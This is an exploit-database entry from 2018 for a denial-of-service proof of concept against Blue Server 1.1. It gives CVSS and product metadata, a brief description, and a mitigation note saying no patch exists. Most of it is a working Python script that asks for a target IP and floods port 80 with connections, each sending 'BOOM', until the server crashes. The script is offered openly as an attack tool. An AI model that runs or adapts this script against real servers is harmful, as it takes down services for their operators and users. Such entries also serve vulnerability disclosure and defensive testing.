Blue Server 1.1 - Denial of Service (PoC)

vendor:

Blue Server

by:

Ihsan Sencan

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Blue Server

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:mafiatic:blue_server:1.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Blue Server 1.1 – Denial of Service (PoC)

A denial of service vulnerability exists in Blue Server 1.1, which allows an attacker to crash the server by sending a 'BOOM' string to the server. This can be exploited by an attacker to cause a denial of service condition on the server.

Mitigation:

The vendor has not released a patch for this vulnerability. As a workaround, users should ensure that the server is not exposed to untrusted networks.

Source

Exploit-DB raw data:

# Exploit Title: Blue Server 1.1 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-02
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.mafiatic.org/
# Software Link: https://master.dl.sourceforge.net/project/blueserver/Blue-Server-1.1.exe
# Version: 1.1
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)

#!/usr/bin/python
import socket

print """
         \\\|///
       \\  - -  //
        (  @ @ )
 ----oOOo--(_)-oOOo----
 Blue Server 1.1 Dos
    Ihsan Sencan
 ---------------Ooooo----
                (   )
       ooooO     ) /
       (   )    (_/
        \ (
         \_)
"""
Ip = raw_input("[Ip]: ")
Port = 80 # Default port
 
d=[]
c=0
while 1:
    try:
        d.append(socket.create_connection((Ip,Port)))
        d[c].send("BOOM")
        print "Sie!"
        c+=1
    except socket.error: 
        print "Done!"
        raw_input()
        break